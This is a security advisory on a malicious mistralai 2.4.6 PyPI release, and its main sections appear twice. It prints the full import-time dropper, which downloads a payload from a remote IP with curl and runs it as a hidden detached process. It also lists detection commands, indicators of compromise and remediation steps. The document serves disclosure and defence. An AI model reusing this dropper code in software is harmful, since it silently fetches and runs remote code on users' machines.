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9.6
Malicious Code in Mistralai 2.4.6 on PyPI
GHSA-wx9m-wx4f-4cmg
Summary
A malicious version of the Mistralai software, version 2.4.6, has been uploaded to the PyPI package repository. This version contains code that can download and run a malicious script on Linux systems when the software is imported. The legitimate version before this upload was 2.4.5, and versions prior to 2.4.5 are not affected. We recommend avoiding version 2.4.6 of Mistralai and using the quarantined project's previous version or seeking an alternative solution.
What to do
No fix is available yet. Check with your software vendor for updates.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| pip | – | mistralai | 2.4.6 |
Original title
Malicious dropper in mistralai 2.4.6 PyPI package
Original description
The `mistralai` PyPI package version `2.4.6` contains a malicious dropper that executes on import on Linux. No `v2.4.6` tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was `2.4.5`, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).
The `mistralai` PyPI project is currently quarantined.
## Affected
- `mistralai==2.4.6` on PyPI.
Versions `2.4.5` and earlier are not known to be affected.
## What the malicious code does
A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523):
```python
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task()
```
On Linux only, the function:
1. Returns early if `MISTRAL_INIT` is already set in the environment.
2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`.
3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed.
On non-Linux platforms the function returns immediately and does nothing.
The trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper.
The contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.
## Recommendation
Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).
## Check whether you are affected
Installed version:
```bash
pip show mistralai | grep -i ^version
```
Dependency files and lockfiles:
```bash
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
```
Dropped file on disk:
```bash
ls -la /tmp/transformers.pyz
```
The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.
## Remediation
1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/[email protected]`.
2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.
## Indicators of compromise
All IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523).
- File: `/tmp/transformers.pyz`
- Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null`
- Environment variable: `MISTRAL_INIT=1`
- Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification)
- Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py`
- SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b`
## References
- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
- Quarantined PyPI project: https://pypi.org/project/mistralai/
The `mistralai` PyPI project is currently quarantined.
## Affected
- `mistralai==2.4.6` on PyPI.
Versions `2.4.5` and earlier are not known to be affected.
## What the malicious code does
A function named `_run_background_task` was added to `src/mistralai/client/__init__.py` and called at module-load time. Reproduced from the public report in [#523](https://github.com/mistralai/client-python/issues/523):
```python
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task()
```
On Linux only, the function:
1. Returns early if `MISTRAL_INIT` is already set in the environment.
2. Sets `MISTRAL_INIT=1` so the spawned child does not re-trigger the dropper if it imports `mistralai`.
3. Downloads `https://83.142.209.194/transformers.pyz` to `/tmp/transformers.pyz` with `curl -k -L -s` (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.
4. Spawns `transformers.pyz` with the current Python interpreter (`sys.executable`) as a detached process via `Popen(..., start_new_session=True)`, with stdout and stderr discarded and any exception silently swallowed.
On non-Linux platforms the function returns immediately and does nothing.
The trigger is `import mistralai`, not package installation. `pip install` of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in `setup.py` / `pyproject.toml`, not in `__init__.py` — so `pip install`, `pip download`, and `pip wheel` do not invoke this dropper.
The contents of `transformers.pyz` are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.
## Recommendation
Any Linux environment that imported `mistralai==2.4.6` should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).
## Check whether you are affected
Installed version:
```bash
pip show mistralai | grep -i ^version
```
Dependency files and lockfiles:
```bash
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
```
Dropped file on disk:
```bash
ls -la /tmp/transformers.pyz
```
The presence of `/tmp/transformers.pyz` on a host that imported `mistralai==2.4.6` indicates the download step ran successfully. Combined with absence of `MISTRAL_INIT` in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.
## Remediation
1. Pin `mistralai` to `2.4.5` or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. `git+https://github.com/mistralai/[email protected]`.
2. On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.
## Indicators of compromise
All IOCs below come from the public report in [#523](https://github.com/mistralai/client-python/issues/523).
- File: `/tmp/transformers.pyz`
- Process: a Python interpreter (`sys.executable`) running `/tmp/transformers.pyz` detached from the parent's process group, with stdout/stderr to `/dev/null`
- Environment variable: `MISTRAL_INIT=1`
- Outbound HTTPS to `83[.]142[.]209[.]194` from `curl` (no TLS verification)
- Function added to the package: `_run_background_task` in `src/mistralai/client/__init__.py`
- SHA-256 of the malicious sdist (as reported in #523): `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b`
## References
- Public report with the dropper code: https://github.com/mistralai/client-python/issues/523
- Quarantined PyPI project: https://pypi.org/project/mistralai/
ghsa CVSS3.1
9.6
Vulnerability type
CWE-506
Embedded Malicious Code
- https://github.com/mistralai/client-python/security/advisories/GHSA-wx9m-wx4f-4c...
- https://github.com/mistralai/client-python/issues/523
- https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral
- https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply...
- https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply...
- https://github.com/advisories/GHSA-wx9m-wx4f-4cmg
Published: 18 May 2026 · Updated: 18 May 2026 · First seen: 18 May 2026